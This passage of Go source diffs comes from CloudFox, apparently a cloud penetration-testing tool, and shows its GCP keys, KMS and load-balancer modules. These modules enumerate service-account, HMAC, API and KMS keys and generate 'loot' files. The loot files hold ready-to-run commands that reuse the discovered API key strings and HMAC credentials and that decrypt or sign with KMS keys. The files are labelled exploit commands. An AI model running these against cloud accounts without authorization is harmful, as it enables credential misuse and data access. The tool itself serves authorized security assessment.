Owner: sa.Email,
DisplayName: sa.DisplayName,
Origin: origin,
Algorithm: key.KeyAlgorithm,
State: state,
CreateTime: key.ValidAfter,
ExpireTime: key.ValidBefore,
Expired: expired,
DWDEnabled: dwdEnabled,
})
}
}
}
// 2. Enumerate HMAC Keys
hmacService := hmacservice.New()
hmacKeys, err := hmacService.ListHMACKeys(projectID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_KEYS_MODULE_NAME,
fmt.Sprintf("Could not enumerate HMAC keys in project %s", projectID))
} else {
for _, key := range hmacKeys {
origin := "Service Account"
// Note: User HMAC keys are not enumerable via API, so all we see are SA keys
projectKeys = append(projectKeys, UnifiedKeyInfo{
ProjectID: projectID,
KeyType: "HMAC",
KeyID: key.AccessID,
Owner: key.ServiceAccountEmail,
DisplayName: "",
Origin: origin,
State: key.State,
CreateTime: key.TimeCreated,
Expired: false, // HMAC keys don't expire
})
}
}
// 3. Enumerate API Keys
apiKeysService := apikeysservice.New()
apiKeys, err := apiKeysService.ListAPIKeysWithKeyStrings(projectID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_KEYS_MODULE_NAME,
fmt.Sprintf("Could not enumerate API keys in project %s", projectID))
} else {
for _, key := range apiKeys {
// Extract key ID from full name
keyID := key.UID
if keyID == "" {
if parts := strings.Split(key.Name, "/"); len(parts) > 0 {
keyID = parts[len(parts)-1]
}
}
state := "ACTIVE"
if !key.DeleteTime.IsZero() {
state = "DELETED"
}
restrictions := "None"
if key.HasRestrictions {
restrictions = key.RestrictionType
if len(key.AllowedAPIs) > 0 {
restrictions = fmt.Sprintf("%s (APIs: %d)", key.RestrictionType, len(key.AllowedAPIs))
}
}
projectKeys = append(projectKeys, UnifiedKeyInfo{
ProjectID: projectID,
KeyType: "API Key",
KeyID: keyID,
Owner: "Project-level",
DisplayName: key.DisplayName,
Origin: "-",
State: state,
CreateTime: key.CreateTime,
Expired: false, // API keys don't expire
Restrictions: restrictions,
KeyString: key.KeyString,
})
}
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectKeys[projectID] = projectKeys
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["keys-hmac-s3-commands"] = &internal.LootFile{
Name: "keys-hmac-s3-commands",
Contents: "# HMAC S3-Compatible Access Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[projectID]["keys-apikey-test-commands"] = &internal.LootFile{
Name: "keys-apikey-test-commands",
Contents: "# API Key Test Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[projectID]["keys-enumeration-commands"] = &internal.LootFile{
Name: "keys-enumeration-commands",
Contents: "# Key Enumeration Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, key := range projectKeys {
m.addKeyToLoot(projectID, key)
}
m.mu.Unlock()
}
func (m *KeysModule) addKeyToLoot(projectID string, key UnifiedKeyInfo) {
switch key.KeyType {
case "SA Key":
// Add enumeration commands for user-managed SA keys, especially old ones
if key.Origin == "User Managed" {
lootFile := m.LootMap[projectID]["keys-enumeration-commands"]
if lootFile != nil {
age := "-"
ageWarning := ""
if !key.CreateTime.IsZero() {
ageDuration := time.Since(key.CreateTime)
age = formatKeyAge(ageDuration)
days := int(ageDuration.Hours() / 24)
if days >= 365 {
ageWarning = " [OLD KEY - " + age + "]"
} else if days >= 90 {
ageWarning = " [" + age + " old]"
}
}
lootFile.Contents += fmt.Sprintf(
"# SA Key: %s%s\n"+
"# Service Account: %s\n"+
"# Project: %s\n"+
"# Created: %s (Age: %s)\n"+
"# Origin: %s\n\n"+
"# List all keys for this service account:\n"+
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n\n"+
"# Describe specific key:\n"+
"gcloud iam service-accounts keys get-public-key %s --iam-account=%s --project=%s\n\n",
key.KeyID,
ageWarning,
key.Owner,
key.ProjectID,
key.CreateTime.Format("2006-01-02"),
age,
key.Origin,
key.Owner,
key.ProjectID,
key.KeyID,
key.Owner,
key.ProjectID,
)
}
}
case "HMAC":
if key.State == "ACTIVE" {
lootFile := m.LootMap[projectID]["keys-hmac-s3-commands"]
if lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# HMAC Key: %s\n"+
"# Service Account: %s\n"+
"# Project: %s\n\n"+
"# Configure AWS CLI with HMAC credentials:\n"+
"aws configure set aws_access_key_id %s\n"+
"aws configure set aws_secret_access_key <SECRET_KEY_HERE>\n\n"+
"# List buckets via S3-compatible endpoint:\n"+
"aws --endpoint-url https://storage.googleapis.com s3 ls\n\n",
key.KeyID,
key.Owner,
key.ProjectID,
key.KeyID,
)
}
}
case "API Key":
if key.KeyString != "" {
lootFile := m.LootMap[projectID]["keys-apikey-test-commands"]
if lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# API Key: %s (%s)\n"+
"# Project: %s\n"+
"# Restrictions: %s\n\n"+
"# Test API access:\n"+
"curl -H 'X-Goog-Api-Key: %s' 'https://maps.googleapis.com/maps/api/geocode/json?address=test'\n"+
"curl -H 'X-Goog-Api-Key: %s' 'https://translation.googleapis.com/language/translate/v2?q=Hello&target=es'\n\n",
key.KeyID,
key.DisplayName,
key.ProjectID,
key.Restrictions,
key.KeyString,
key.KeyString,
)
}
}
}
}
func (m *KeysModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// getTableHeader returns the header for the keys table
func (m *KeysModule) getTableHeader() []string {
return []string{
"Project ID",
"Project Name",
"Key Type",
"Key ID",
"Owner",
"Origin",
"Algorithm",
"State",
"Created",
"Expires",
"Age",
"DWD",
"Restrictions",
}
}
// keysToTableBody converts keys to table body rows
func (m *KeysModule) keysToTableBody(keys []UnifiedKeyInfo) [][]string {
var body [][]string
for _, key := range keys {
created := "-"
if !key.CreateTime.IsZero() {
created = key.CreateTime.Format("2006-01-02")
}
// Calculate age
age := "-"
if !key.CreateTime.IsZero() {
age = formatKeyAge(time.Since(key.CreateTime))
}
expires := "-"
if !key.ExpireTime.IsZero() {
// Check for "never expires" (year 9999)
if key.ExpireTime.Year() >= 9999 {
expires = "Never"
} else {
expires = key.ExpireTime.Format("2006-01-02")
}
}
dwd := "-"
if key.KeyType == "SA Key" {
if key.DWDEnabled {
dwd = "Yes"
} else {
dwd = "No"
}
}
restrictions := "-"
if key.KeyType == "API Key" {
restrictions = key.Restrictions
}
algorithm := key.Algorithm
if algorithm == "" {
algorithm = "-"
}
body = append(body, []string{
key.ProjectID,
m.GetProjectName(key.ProjectID),
key.KeyType,
key.KeyID,
key.Owner,
key.Origin,
algorithm,
key.State,
created,
expires,
age,
dwd,
restrictions,
})
}
return body
}
// formatKeyAge formats a duration into a human-readable age string
func formatKeyAge(d time.Duration) string {
days := int(d.Hours() / 24)
if days >= 365 {
years := days / 365
remainingDays := days % 365
months := remainingDays / 30
if months > 0 {
return fmt.Sprintf("%dy %dm", years, months)
}
return fmt.Sprintf("%dy", years)
} else if days >= 30 {
months := days / 30
remainingDays := days % 30
if remainingDays > 0 {
return fmt.Sprintf("%dm %dd", months, remainingDays)
}
return fmt.Sprintf("%dm", months)
}
return fmt.Sprintf("%dd", days)
}
// writeHierarchicalOutput writes output to per-project directories
func (m *KeysModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID, keys := range m.ProjectKeys {
body := m.keysToTableBody(keys)
tableFiles := []internal.TableFile{{
Name: "keys",
Header: m.getTableHeader(),
Body: body,
}}
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = KeysOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_KEYS_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *KeysModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allKeys := m.getAllKeys()
body := m.keysToTableBody(allKeys)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
lootFiles = append(lootFiles, *loot)
}
}
}
tables := []internal.TableFile{{
Name: "keys",
Header: m.getTableHeader(),
Body: body,
}}
output := KeysOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_KEYS_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
+564
View File
@@ -0,0 +1,564 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
KMSService "github.com/BishopFox/cloudfox/gcp/services/kmsService"
"github.com/BishopFox/cloudfox/gcp/shared"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPKMSCommand = &cobra.Command{
Use: globals.GCP_KMS_MODULE_NAME,
Aliases: []string{"crypto", "encryption-keys"},
Short: "Enumerate Cloud KMS key rings and crypto keys with security analysis",
Long: `Enumerate Cloud KMS key rings and crypto keys across projects with security-relevant details.
Features:
- Lists all KMS key rings and crypto keys
- Shows key purpose (encryption, signing, MAC)
- Identifies protection level (software, HSM, external)
- Shows rotation configuration and status
- Detects public key access via IAM
- Generates gcloud commands for key operations
Security Columns:
- Purpose: ENCRYPT_DECRYPT, ASYMMETRIC_SIGN, ASYMMETRIC_DECRYPT, MAC
- Protection: SOFTWARE, HSM, EXTERNAL, EXTERNAL_VPC
- Rotation: Key rotation period and next rotation time
- PublicDecrypt: Whether allUsers/allAuthenticatedUsers can decrypt
Resource IAM Columns:
- IAM Binding Role: The IAM role granted ON this key (e.g., roles/cloudkms.cryptoKeyDecrypter)
- IAM Binding Principal: The principal (user/SA/group) who has that role on this key
Attack Surface:
- Public decrypt access allows unauthorized data access
- Keys without rotation may be compromised long-term
- HSM vs software protection affects key extraction risk
- External keys indicate third-party key management`,
Run: runGCPKMSCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type KMSModule struct {
gcpinternal.BaseGCPModule
// Per-project data for hierarchical output
ProjectKeyRings map[string][]KMSService.KeyRingInfo
ProjectCryptoKeys map[string][]KMSService.CryptoKeyInfo
LootMap map[string]map[string]*internal.LootFile
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type KMSOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o KMSOutput) TableFiles() []internal.TableFile { return o.Table }
func (o KMSOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPKMSCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_KMS_MODULE_NAME)
if err != nil {
return
}
module := &KMSModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectKeyRings: make(map[string][]KMSService.KeyRingInfo),
ProjectCryptoKeys: make(map[string][]KMSService.CryptoKeyInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *KMSModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_KMS_MODULE_NAME, m.processProject)
// Get all data for stats
allKeyRings := m.getAllKeyRings()
allCryptoKeys := m.getAllCryptoKeys()
if len(allCryptoKeys) == 0 {
logger.InfoM("No KMS keys found", globals.GCP_KMS_MODULE_NAME)
return
}
// Count security-relevant metrics
hsmCount := 0
publicDecryptCount := 0
for _, key := range allCryptoKeys {
if key.ProtectionLevel == "HSM" {
hsmCount++
}
if key.IsPublicDecrypt {
publicDecryptCount++
}
}
msg := fmt.Sprintf("Found %d key ring(s), %d key(s)", len(allKeyRings), len(allCryptoKeys))
if hsmCount > 0 {
msg += fmt.Sprintf(" [%d HSM]", hsmCount)
}
if publicDecryptCount > 0 {
msg += fmt.Sprintf(" [%d PUBLIC DECRYPT!]", publicDecryptCount)
}
logger.SuccessM(msg, globals.GCP_KMS_MODULE_NAME)
m.writeOutput(ctx, logger)
}
// getAllKeyRings returns all key rings from all projects
func (m *KMSModule) getAllKeyRings() []KMSService.KeyRingInfo {
var all []KMSService.KeyRingInfo
for _, keyRings := range m.ProjectKeyRings {
all = append(all, keyRings...)
}
return all
}
// getAllCryptoKeys returns all crypto keys from all projects
func (m *KMSModule) getAllCryptoKeys() []KMSService.CryptoKeyInfo {
var all []KMSService.CryptoKeyInfo
for _, keys := range m.ProjectCryptoKeys {
all = append(all, keys...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *KMSModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating KMS in project: %s", projectID), globals.GCP_KMS_MODULE_NAME)
}
ks := KMSService.New()
// Initialize loot for this project
m.mu.Lock()
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["kms-commands"] = &internal.LootFile{
Name: "kms-commands",
Contents: "# KMS Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
// Get key rings
keyRings, err := ks.KeyRings(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_KMS_MODULE_NAME,
fmt.Sprintf("Could not enumerate KMS key rings in project %s", projectID))
return
}
// Get crypto keys
keys, err := ks.CryptoKeys(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_KMS_MODULE_NAME,
fmt.Sprintf("Could not enumerate KMS keys in project %s", projectID))
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectKeyRings[projectID] = keyRings
m.ProjectCryptoKeys[projectID] = keys
for _, key := range keys {
m.addKeyToLoot(projectID, key)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d key ring(s), %d key(s) in project %s", len(keyRings), len(keys), projectID), globals.GCP_KMS_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *KMSModule) addKeyToLoot(projectID string, key KMSService.CryptoKeyInfo) {
lootFile := m.LootMap[projectID]["kms-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# KMS KEY: %s\n"+
"# =============================================================================\n"+
"# Project: %s, KeyRing: %s, Location: %s\n"+
"# Purpose: %s, Protection: %s\n",
key.Name,
key.ProjectID, key.KeyRing, key.Location,
key.Purpose, key.ProtectionLevel,
)
// Commands
lootFile.Contents += fmt.Sprintf(
"\n# === ENUMERATION COMMANDS ===\n\n"+
"# Describe key:\n"+
"gcloud kms keys describe %s --keyring=%s --location=%s --project=%s\n"+
"# Get IAM policy:\n"+
"gcloud kms keys get-iam-policy %s --keyring=%s --location=%s --project=%s\n"+
"# List versions:\n"+
"gcloud kms keys versions list --key=%s --keyring=%s --location=%s --project=%s\n",
key.Name, key.KeyRing, key.Location, key.ProjectID,
key.Name, key.KeyRing, key.Location, key.ProjectID,
key.Name, key.KeyRing, key.Location, key.ProjectID,
)
// Purpose-specific commands
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
switch key.Purpose {
case "ENCRYPT_DECRYPT":
lootFile.Contents += fmt.Sprintf(
"# Encrypt data:\n"+
"echo -n 'secret data' | gcloud kms encrypt --key=%s --keyring=%s --location=%s --project=%s --plaintext-file=- --ciphertext-file=encrypted.bin\n"+
"# Decrypt data:\n"+
"gcloud kms decrypt --key=%s --keyring=%s --location=%s --project=%s --ciphertext-file=encrypted.bin --plaintext-file=-\n",
key.Name, key.KeyRing, key.Location, key.ProjectID,
key.Name, key.KeyRing, key.Location, key.ProjectID,
)
case "ASYMMETRIC_SIGN":
lootFile.Contents += fmt.Sprintf(
"# Sign data:\n"+
"gcloud kms asymmetric-sign --key=%s --keyring=%s --location=%s --project=%s --version=1 --digest-algorithm=sha256 --input-file=data.txt --signature-file=signature.bin\n"+
"# Get public key:\n"+
"gcloud kms keys versions get-public-key 1 --key=%s --keyring=%s --location=%s --project=%s\n",
key.Name, key.KeyRing, key.Location, key.ProjectID,
key.Name, key.KeyRing, key.Location, key.ProjectID,
)
case "ASYMMETRIC_DECRYPT":
lootFile.Contents += fmt.Sprintf(
"# Decrypt data:\n"+
"gcloud kms asymmetric-decrypt --key=%s --keyring=%s --location=%s --project=%s --version=1 --ciphertext-file=encrypted.bin --plaintext-file=-\n"+
"# Get public key:\n"+
"gcloud kms keys versions get-public-key 1 --key=%s --keyring=%s --location=%s --project=%s\n",
key.Name, key.KeyRing, key.Location, key.ProjectID,
key.Name, key.KeyRing, key.Location, key.ProjectID,
)
}
lootFile.Contents += "\n"
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *KMSModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// getKeysHeader returns the header for the crypto keys table
func (m *KMSModule) getKeysHeader() []string {
return []string{
"Project",
"Key Name",
"Key Ring",
"Location",
"Purpose",
"Protection",
"Version",
"State",
"Rotation",
"Public Encrypt",
"Public Decrypt",
"IAM Binding Role",
"IAM Binding Principal",
}
}
// getKeyRingsHeader returns the header for the key rings table
func (m *KMSModule) getKeyRingsHeader() []string {
return []string{
"Project",
"Key Ring",
"Location",
"Key Count",
}
}
// keysToTableBody converts crypto keys to table body rows
func (m *KMSModule) keysToTableBody(keys []KMSService.CryptoKeyInfo) [][]string {
var body [][]string
for _, key := range keys {
// Format rotation
rotation := "-"
if key.RotationPeriod != "" {
rotation = formatDuration(key.RotationPeriod)
}
// Format protection level
protection := key.ProtectionLevel
if protection == "" {
protection = "SOFTWARE"
}
// If key has IAM bindings, create one row per binding
if len(key.IAMBindings) > 0 {
for _, binding := range key.IAMBindings {
body = append(body, []string{
m.GetProjectName(key.ProjectID),
key.Name,
key.KeyRing,
key.Location,
formatPurpose(key.Purpose),
protection,
key.PrimaryVersion,
key.PrimaryState,
rotation,
shared.BoolToYesNo(key.IsPublicEncrypt),
shared.BoolToYesNo(key.IsPublicDecrypt),
binding.Role,
binding.Member,
})
}
} else {
// No IAM bindings - single row
body = append(body, []string{
m.GetProjectName(key.ProjectID),
key.Name,
key.KeyRing,
key.Location,
formatPurpose(key.Purpose),
protection,
key.PrimaryVersion,
key.PrimaryState,
rotation,
shared.BoolToYesNo(key.IsPublicEncrypt),
shared.BoolToYesNo(key.IsPublicDecrypt),
"-",
"-",
})
}
}
return body
}
// keyRingsToTableBody converts key rings to table body rows
func (m *KMSModule) keyRingsToTableBody(keyRings []KMSService.KeyRingInfo) [][]string {
var body [][]string
for _, kr := range keyRings {
body = append(body, []string{
m.GetProjectName(kr.ProjectID),
kr.Name,
kr.Location,
fmt.Sprintf("%d", kr.KeyCount),
})
}
return body
}
// buildTablesForProject builds table files for a single project
func (m *KMSModule) buildTablesForProject(projectID string) []internal.TableFile {
keys := m.ProjectCryptoKeys[projectID]
keyRings := m.ProjectKeyRings[projectID]
keysBody := m.keysToTableBody(keys)
keyRingsBody := m.keyRingsToTableBody(keyRings)
var tableFiles []internal.TableFile
if len(keysBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_KMS_MODULE_NAME + "-keys",
Header: m.getKeysHeader(),
Body: keysBody,
})
}
if len(keyRingsBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_KMS_MODULE_NAME + "-keyrings",
Header: m.getKeyRingsHeader(),
Body: keyRingsBody,
})
}
return tableFiles
}
// writeHierarchicalOutput writes output to per-project directories
func (m *KMSModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Collect all projects with data
projectsWithData := make(map[string]bool)
for projectID := range m.ProjectCryptoKeys {
projectsWithData[projectID] = true
}
for projectID := range m.ProjectKeyRings {
projectsWithData[projectID] = true
}
for projectID := range projectsWithData {
tableFiles := m.buildTablesForProject(projectID)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = KMSOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_KMS_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *KMSModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allKeys := m.getAllCryptoKeys()
allKeyRings := m.getAllKeyRings()
keysBody := m.keysToTableBody(allKeys)
keyRingsBody := m.keyRingsToTableBody(allKeyRings)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
// Build table files
var tableFiles []internal.TableFile
if len(keysBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_KMS_MODULE_NAME + "-keys",
Header: m.getKeysHeader(),
Body: keysBody,
})
}
if len(keyRingsBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_KMS_MODULE_NAME + "-keyrings",
Header: m.getKeyRingsHeader(),
Body: keyRingsBody,
})
}
output := KMSOutput{
Table: tableFiles,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_KMS_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// Helper functions
// formatPurpose formats key purpose for display
func formatPurpose(purpose string) string {
switch purpose {
case "ENCRYPT_DECRYPT":
return "Symmetric"
case "ASYMMETRIC_SIGN":
return "Sign"
case "ASYMMETRIC_DECRYPT":
return "Asymm Decrypt"
case "MAC":
return "MAC"
default:
return purpose
}
}
// formatDuration formats a duration string for display
func formatDuration(duration string) string {
// Duration is in format like "7776000s" (90 days)
duration = strings.TrimSuffix(duration, "s")
if duration == "" {
return "-"
}
// Parse seconds
var seconds int64
fmt.Sscanf(duration, "%d", &seconds)
if seconds == 0 {
return "-"
}
days := seconds / 86400
if days > 0 {
return fmt.Sprintf("%dd", days)
}
hours := seconds / 3600
if hours > 0 {
return fmt.Sprintf("%dh", hours)
}
return fmt.Sprintf("%ds", seconds)
}
+1014
View File
File diff suppressed because it is too large. Load diff
+514
View File
@@ -0,0 +1,514 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
"github.com/BishopFox/cloudfox/gcp/shared"
diagramservice "github.com/BishopFox/cloudfox/gcp/services/diagramService"
loadbalancerservice "github.com/BishopFox/cloudfox/gcp/services/loadbalancerService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPLoadBalancersCommand = &cobra.Command{
Use: globals.GCP_LOADBALANCERS_MODULE_NAME,
Aliases: []string{"lb", "lbs"},
Short: "Enumerate Load Balancers",
Long: `Enumerate Load Balancers and related configurations.
Features:
- Lists all forwarding rules (global and regional)
- Shows backend services and health checks
- Analyzes SSL policies for weak configurations
- Identifies external vs internal load balancers
- Checks for Cloud Armor security policies`,
Run: runGCPLoadBalancersCommand,
}
type LoadBalancersModule struct {
gcpinternal.BaseGCPModule
ProjectLoadBalancers map[string][]loadbalancerservice.LoadBalancerInfo // projectID -> load balancers
ProjectSSLPolicies map[string][]loadbalancerservice.SSLPolicyInfo // projectID -> SSL policies
ProjectBackendServices map[string][]loadbalancerservice.BackendServiceInfo // projectID -> backend services
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
type LoadBalancersOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o LoadBalancersOutput) TableFiles() []internal.TableFile { return o.Table }
func (o LoadBalancersOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPLoadBalancersCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_LOADBALANCERS_MODULE_NAME)
if err != nil {
return
}
module := &LoadBalancersModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectLoadBalancers: make(map[string][]loadbalancerservice.LoadBalancerInfo),
ProjectSSLPolicies: make(map[string][]loadbalancerservice.SSLPolicyInfo),
ProjectBackendServices: make(map[string][]loadbalancerservice.BackendServiceInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *LoadBalancersModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_LOADBALANCERS_MODULE_NAME, m.processProject)
allLoadBalancers := m.getAllLoadBalancers()
allSSLPolicies := m.getAllSSLPolicies()
allBackendServices := m.getAllBackendServices()
if len(allLoadBalancers) == 0 {
logger.InfoM("No load balancers found", globals.GCP_LOADBALANCERS_MODULE_NAME)
return
}
externalCount := 0
for _, lb := range allLoadBalancers {
if lb.Scheme == "EXTERNAL" {
externalCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d load balancer(s) (%d external), %d SSL policies, %d backend services",
len(allLoadBalancers), externalCount, len(allSSLPolicies), len(allBackendServices)), globals.GCP_LOADBALANCERS_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *LoadBalancersModule) getAllLoadBalancers() []loadbalancerservice.LoadBalancerInfo {
var all []loadbalancerservice.LoadBalancerInfo
for _, lbs := range m.ProjectLoadBalancers {
all = append(all, lbs...)
}
return all
}
func (m *LoadBalancersModule) getAllSSLPolicies() []loadbalancerservice.SSLPolicyInfo {
var all []loadbalancerservice.SSLPolicyInfo
for _, policies := range m.ProjectSSLPolicies {
all = append(all, policies...)
}
return all
}
func (m *LoadBalancersModule) getAllBackendServices() []loadbalancerservice.BackendServiceInfo {
var all []loadbalancerservice.BackendServiceInfo
for _, services := range m.ProjectBackendServices {
all = append(all, services...)
}
return all
}
func (m *LoadBalancersModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating load balancers in project: %s", projectID), globals.GCP_LOADBALANCERS_MODULE_NAME)
}
svc := loadbalancerservice.New()
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["loadbalancers-commands"] = &internal.LootFile{
Name: "loadbalancers-commands",
Contents: "# Load Balancer Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
// Get load balancers
lbs, err := svc.ListLoadBalancers(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_LOADBALANCERS_MODULE_NAME,
fmt.Sprintf("Could not list load balancers in project %s", projectID))
} else {
m.mu.Lock()
m.ProjectLoadBalancers[projectID] = lbs
for _, lb := range lbs {
m.addToLoot(projectID, lb)
}
m.mu.Unlock()
}
// Get SSL policies
sslPolicies, err := svc.ListSSLPolicies(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_LOADBALANCERS_MODULE_NAME,
fmt.Sprintf("Could not list SSL policies in project %s", projectID))
} else {
m.mu.Lock()
m.ProjectSSLPolicies[projectID] = sslPolicies
m.mu.Unlock()
}
// Get backend services
